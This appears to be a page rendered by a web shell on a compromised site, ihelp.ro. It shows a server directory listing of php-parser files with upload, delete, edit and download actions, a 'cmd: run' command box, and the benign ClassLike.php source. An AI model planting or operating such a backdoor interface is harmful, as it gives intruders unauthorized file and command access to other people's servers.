/
var
/
www
/
vhosts
/
ihelp.ro
/
httpdocs
/
vendor
/
nikic
/
php-parser
/
lib
/
PhpParser
/
Node
/
Stmt
/
/var/www/vhosts/ihelp.ro/httpdocs/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt
mkdir
upload
Name
Size
Mode
Actions
TraitUseAdaptation/
-
0755
rm
Break_.php
693
0644
edit
dl
rm
Case_.php
855
0644
edit
dl
rm
Catch_.php
1129
0644
edit
dl
rm
ClassConst.php
2449
0644
edit
dl
rm
ClassLike.php
2938
0644
edit
dl
rm
ClassMethod.php
4745
0644
edit
dl
rm
Class_.php
4442
0644
edit
dl
rm
Const_.php
693
0644
edit
dl
rm
Continue_.php
708
0644
edit
dl
rm
DeclareDeclare.php
897
0644
edit
dl
rm
Declare_.php
881
0644
edit
dl
rm
Do_.php
813
0644
edit
dl
rm
Echo_.php
655
0644
edit
dl
rm
ElseIf_.php
820
0644
edit
dl
rm
Else_.php
658
0644
edit
dl
rm
EnumCase.php
1170
0644
edit
dl
rm
Enum_.php
1573
0644
edit
dl
rm
Expression.php
717
0644
edit
dl
rm
Finally_.php
666
0644
edit
dl
rm
Foreach_.php
1625
0644
edit
dl
rm
For_.php
1321
0644
edit
dl
rm
Function_.php
2556
0644
edit
dl
rm
Global_.php
675
0644
edit
dl
rm
Goto_.php
755
0644
edit
dl
rm
GroupUse.php
1005
0644
edit
dl
rm
HaltCompiler.php
754
0644
edit
dl
rm
If_.php
1317
0644
edit
dl
rm
InlineHTML.php
649
0644
edit
dl
rm
Interface_.php
1229
0644
edit
dl
rm
Label.php
717
0644
edit
dl
rm
Namespace_.php
939
0644
edit
dl
rm
Nop.php
301
0644
edit
dl
rm
Property.php
2587
0644
edit
dl
rm
PropertyProperty.php
968
0644
edit
dl
rm
Return_.php
673
0644
edit
dl
rm
StaticVar.php
904
0644
edit
dl
rm
Static_.php
688
0644
edit
dl
rm
Switch_.php
800
0644
edit
dl
rm
Throw_.php
665
0644
edit
dl
rm
TraitUse.php
898
0644
edit
dl
rm
TraitUseAdaptation.php
266
0644
edit
dl
rm
Trait_.php
1001
0644
edit
dl
rm
TryCatch.php
1035
0644
edit
dl
rm
Unset_.php
667
0644
edit
dl
rm
UseUse.php
1605
0644
edit
dl
rm
Use_.php
1368
0644
edit
dl
rm
While_.php
816
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/httpdocs/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassLike.php
(2938B)
<?php declare(strict_types=1); namespace PhpParser\Node\Stmt; use PhpParser\Node; abstract class ClassLike extends Node\Stmt { /** @var Node\Identifier|null Name */ public $name; /** @var Node\Stmt[] Statements */ public $stmts; /** @var Node\AttributeGroup[] PHP attribute groups */ public $attrGroups; /** @var Node\Name|null Namespaced name (if using NameResolver) */ public $namespacedName; /** * @return TraitUse[] */ public function getTraitUses() : array { $traitUses = []; foreach ($this->stmts as $stmt) { if ($stmt instanceof TraitUse) { $traitUses[] = $stmt; } } return $traitUses; } /** * @return ClassConst[] */ public function getConstants() : array { $constants = []; foreach ($this->stmts as $stmt) { if ($stmt instanceof ClassConst) { $constants[] = $stmt; } } return $constants; } /** * @return Property[] */ public function getProperties() : array { $properties = []; foreach ($this->stmts as $stmt) { if ($stmt instanceof Property) { $properties[] = $stmt; } } return $properties; } /** * Gets property with the given name defined directly in this class/interface/trait. * * @param string $name Name of the property * * @return Property|null Property node or null if the property does not exist */ public function getProperty(string $name) { foreach ($this->stmts as $stmt) { if ($stmt instanceof Property) { foreach ($stmt->props as $prop) { if ($prop instanceof PropertyProperty && $name === $prop->name->toString()) { return $stmt; } } } } return null; } /** * Gets all methods defined directly in this class/interface/trait * * @return ClassMethod[] */ public function getMethods() : array { $methods = []; foreach ($this->stmts as $stmt) { if ($stmt instanceof ClassMethod) { $methods[] = $stmt; } } return $methods; } /** * Gets method with the given name defined directly in this class/interface/trait. * * @param string $name Name of the method (compared case-insensitively) * * @return ClassMethod|null Method node or null if the method does not exist */ public function getMethod(string $name) { $lowerName = strtolower($name); foreach ($this->stmts as $stmt) { if ($stmt instanceof ClassMethod && $lowerName === $stmt->name->toLowerString()) { return $stmt; } } return null; } }
Save
cmd:
run